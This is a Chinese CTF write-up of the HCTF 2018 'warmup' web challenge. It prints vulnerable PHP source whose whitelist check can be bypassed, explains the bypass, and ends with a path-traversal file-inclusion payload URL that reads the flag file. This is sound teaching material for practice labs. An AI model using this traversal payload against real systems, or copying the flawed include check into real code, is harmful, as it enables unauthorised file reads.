1. 程式人生 > 實用技巧 >攻防世界 WEB 高手進階區 HCTF 2018 warmup Writeup

攻防世界 WEB 高手進階區 HCTF 2018 warmup Writeup

攻防世界 WEB 高手進階區 HCTF 2018 warmup Writeup

題目介紹

題目來源: HCTF 2018
題目描述:warmup

題目考點

PHP程式碼審計

解題思路

  1. 開啟 http://220.249.52.134:37877

  2. 常規操作 F12 看原始碼

  3. url 輸入 http://220.249.52.134:37877/source.php 得到

<?php
    highlight_file(__FILE__); 
    class emmm
        {
            public static function checkFile(&$page)

            {
                //白名單列表
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                //isset()判斷變數是否宣告is_string()判斷變數是否是字串 
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it A";
                    return false;
                }
                //檢測傳進來的值是否匹配白名單列表$whitelist 如果有則執行真
                if (in_array($page, $whitelist)) {
                    return true;
                }
                //過濾問號的函式(如果$page的值有?則從?之前提取字串)
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')//返回$page.?裡?號出現的第一個位置
                );

                 //第二次檢測傳進來的值是否匹配白名單列表$whitelist 如果有則執行真
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                //url對$page解碼
                $_page = urldecode($page);

                //第二次過濾問號的函式(如果$page的值有?則從?之前提取字串)
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                //第三次檢測傳進來的值是否匹配白名單列表$whitelist 如果有則執行真
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
    if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  
?>
  1. 分析PHP原始碼看到

  2. 嘗試訪問 url http://220.249.52.134:37877/hint.php 得到flag提示 flag 在 ffffllllaaaagggg 中

  3. 回到之前的PHP原始碼,繼續分析

    整體來看,這段PHP程式碼,是一個 emmm 類和一個 if else 分支,emmm類裡有一個 checkFile 函式

    先看 下面的 if else

    if (! empty($_REQUEST['file'])		
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    )
    

    當前 請求的 file 非空是字串 且 emmm::checkFile返回為真 時,條件成立

    我們可以先直接留心最後的if/else邏輯,為了不看到最後那張無語的圖片,我們需要讓第一個if語句成立,並且最關鍵在第三個函式上。同時我們需要注意include檔案讀取函式是直接讀取file,從hint.php中我們知道flag在ffffllllaaaagggg中,所以這個字串要想辦法加入到 file 中進行讀取。
    關鍵程式碼:

     $_page = mb_substr(
         $page,
         0,
         mb_strpos($page . '?', '?')
    

    函式簡介:

    mb_strpos()

    :返回要查詢的字串在被檢查的字串中首次出現的位置

    該函式有兩個引數,該函式的返回值是第二個引數在第一個引數中首次出現的位置(index)。

    mb_substr() :函式返回字串的一部分

    該函式有三個對應引數,第一個引數是操作字串,第二個引數是操作起始位置,第三個引數是操作字元長度。、

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
       ) {
        include $_REQUEST['file'];			//重要
        exit;
    

    那麼整體思路就是 滿足if 條件 繞過checkFile 函式, 最終要 通過 include 讀取 flag

    嘗試構造解題 payload

    http://220.249.52.134:30663/?file=hint.php?ffffllllaaaagggg 失敗,無回顯

    我們其實已經可以從flag的檔名猜出一些真相了。我們需要將目錄回退四次,就像這美妙的名字一樣。

  4. 構造最終解題的 payload

    http://220.249.52.134:30663/?file=hint.php?/../../../../ffffllllaaaagggg

總結

這道題用到的知識點有:

  • 基礎php程式碼審計,考察三個函式: in_array、mb_substr、mbstrpos
  • 考察include的一個小特性